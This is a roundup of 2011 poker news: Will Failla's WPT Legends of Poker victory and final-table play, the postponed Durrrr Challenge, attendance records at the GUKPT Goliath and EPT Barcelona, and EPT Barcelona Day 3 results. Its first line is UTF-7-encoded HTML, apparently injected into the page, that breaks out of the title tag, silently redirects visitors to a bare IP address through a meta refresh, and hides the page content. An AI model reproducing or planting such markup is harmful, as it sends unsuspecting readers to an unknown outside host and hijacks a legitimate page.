+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Will “The Thrill” Failla fought his way through 756 opponents in the World Poker Tour Legends of Poker tournament before claiming victory in the wee hours of Wednesday morning. The win is worth over $758k and represents the biggest live tournament score of Failla’s professional poker career.

Failla’s deep stack heading into final table play proved to be an invaluable asset, as he lost some chip real estate to Jeff Vertes and Joshua Pollock early on in the last day of action before eliminating Owais Ahmed in 6th place and earning much of it back. Failla made a risky call with A-5 offsuit against Ahmed’s J-7 suited, but an ace-heavy board gave Failla the decisive win.

One of the day’s most exciting moments came when Adam Aronson pushed all-in with 6-6 against the pocket red aces of Jeff Vertes. A six on the flop seemed to all but secure the pot for Aronson until hearts on both the turn and the river created a flush for Vertes. A few hands later, Ken Aldridge knocked out Joshua Pollock in 4th place. Pollock drew to a flush with J-7 of diamonds, but the board was no help and Aldridge escaped with A-7 offsuit.

Failla steadily built him momentum through three-handed play, doubling up when he could and eventually sending Vertes packing in 3rd place.

Heads-up play started with Aldridge holding 10.6 million chips compared to Failla’s 13 million. After Aldridge’s deficit was pushed to roughly 16 million chips, he made a desperate play and pushed all-in with 6-4 offsuit. Although Failla barely fared better with J-6 offsuit, it was enough for the outright win thanks to a mutually unhelpful board.

The win adds to the $241k Failla already received earlier this year at the Caribbean Adventure. Failla now has $2.9 million in career earnings to his name, with $1 million coming from 2011 alone.

For anyone who was unable to figure this out on their own, it’s now official: The Durrr Challenge between Daniel “jungleman12” Cates and Tom “durrrr” Dwan is officially on hold –I know, you’re probably as shocked as I am! *beware of the sarcasm dripping onto the next paragraph*

The announcement was made by Cates via his Twitter account where he made the following >140 character Tweet: “Regarding the Durrrr Challenge @Tom_Dwan and I have decided to wait until we know the fate of Full Tilt Poker and then decide,”

While disappointing, this comes as no surprise to anyone who has followed the match, considering the two were less than active in the months before Black Friday; Dwan stated recently on 2+2 that he was not dodging Cates, and that he was making monthly payments to Cates if they were unable to schedule any sessions due to Dwan’s busy schedule.

This marks the second straight Durrrr Challenge match that has been placed on official hiatus, although the other match between Dwan and Patrik Antonius is basically on hold due to Dwan’s insurmountable lead –the two may have settled on a payment amount, or Antonius may be making monthly payments for every month no hands are played; a la Dwan to Cates.

Cates currently holds a massive $1.2 million lead, but with just 19,335 of the scheduled 50,000 hands in the books it’s not out of the realm of possibility that Dwan will mount a comeback before all is said and done.

There were a number of major poker tournaments taking place around the globe this past weekend –with the WPT in Los Angeles, the EPT in Barcelona, as well as the GUKPT and APPT– and two of these events were able to pencil their names into the poker record books by setting attendance records. No small feat considering the sheer number of events players had to choose from!

The GUKPT Goliath tournament set out to break the record for the largest poker tournament in European history, which at the time was held by the 2009 Boyle Poker IPO and its 1,441 entrants. The Goliath was held in the Ricoh Arena in Coventry, England and over the course of three Day 1 starting flights 1,765 players registered for the £100 buy-in tournament.  There is some room for argument however, as the GUKPT Goliath allowed for players to re-enter on subsequent days of they were eliminated from the tournament –Expect an asterisk or some other explanation in the official poker tournament record book.

While the GUKPT Goliath was setting the European record, the EPT Barcelona managed to break the record for the largest poker tournament ever held in Spain when 811 players anted-up the €5,000 buy-in; breaking the old record set at last year’s EPT Barcelona of 757 players. The tournament did fall short of the prize-pool record in Spain, a record that is held by the 2010 EPT Grand Final, which took place in Madrid, and attracted 686 entrants, but because of the €10k buy-in the Grand Final sports it easily bested the 2011 EPT Barcelona prize-pool of €4,055,000, topping out at €6,860,000.

The third official day of action at the European Poker Tour Barcelona Main Event has concluded, and a competitor pool of 141 poker pros was reduced to just 24 players. All of the remaining players have their eyes firmly planted on the first-place prize, which awards 850,000 Euro. The current chip leader is Bartolome Gomila Romero, who holds just over 2.5 million chips.

Jeff Hakim was in the unfortunate position of getting knocked out in 121st place, one spot shy of the coveted money bubble. Hakim took a terrible bad beat when his A-J offsuit failed to improve on the board and lost to Mario Adinolfi’s 8-4 offsuit, all thanks to an 8 on the flop.

The action increased to a furious pace with the money bubble busted, and Dimitry Gromov, Ronald Lee, Tobias Reinkemeier, Mickey Petersen and Benny Spindler hit the rail rather early. Boris Becker of professional tennis fame made a respectable run in the event as a whole, earning 8,000 Euro for his 97th place finish.

A number of other big name pros made their way to the cashout cage shortly thereafter, including Andre Akkari, Alex Kravchenko, Victor Ramdin, Juan Manuel Pastor, Rino Mathis and Vanessa Selbst, all of Team PokerStars. Eugene Katchalov, another member of Team PokerStars, fared a lot better and will start off Day 4 with almost 1.5 million chips.

Romero earned his massive stack largely by winning an all-in showdown against Jose Angle Latorre Marina and Simon Charette, both of whom were eliminated as a result. K-K was enough to dominate K-Q offsuit and 8-8.

Day 4 will see the final 24 players reduced to an 8-handed final table. Even the first player to receive elimination on Day 4 will receive 20,000 Euro.

Day 4 was an outright marathon at the World Poker Tour Legends of Poker tournament, with play ending for the day long after midnight. The journey was well worth it for those who finished in the money, especially the top six players that made the final table going into Day 5. The player to beat at the moment is none other than Will “The Thrill” Failla, who holds a chip stack measuring around 6.75 million.

A string of noted pros including Zachary Fahmie, Dan Heimiller and Derek Palmer were sent out in rapid succession, finishing in 21st, 20th and 19th place, respectively. Palmer’s elimination came at the hands of Jeff Vertes, the Day 3 chip leader. After getting knocked out with A-J offsuit, Palmer collected just over $14k for his deep run.

Other pros including David Tuthill, Billy Bey, Brent Hanks, Christina Lindley, Mike Eskandari, Shawn Buchanan, Richard McGee and Tyler Cornell were eliminated shortly thereafter. 10th place belonged to Matt Kay, who earned just under the $30k. The payouts started getting much larger from there, with David Daneshgar earning $39k for his 9th place finish. Vertes knocked out James Carroll in 8th place with A-J over A-3 on a mutually unhelpful board, and an hour later Ray Henson busted in 7th.

The final table roster, along with chip counts, is displayed below:

1: Will “The Thrill” Failla – 6,775,000
2: Joshua Pollock – 5,315,000
3: Jeff Vertes – 4,005,000
4: Ken Aldridge – 3,640,000
5: Adam Aronson – 2,185,000
6: Owais Ahmed – 1,720,000

The very next player to hit the rail is guaranteed $77,100, and the outright tournament winner will receive a sum roughly 10x that figure. The Bicycle Casino, which is hosting the event, will be showing a 30-minute-delayed webcast of final table action.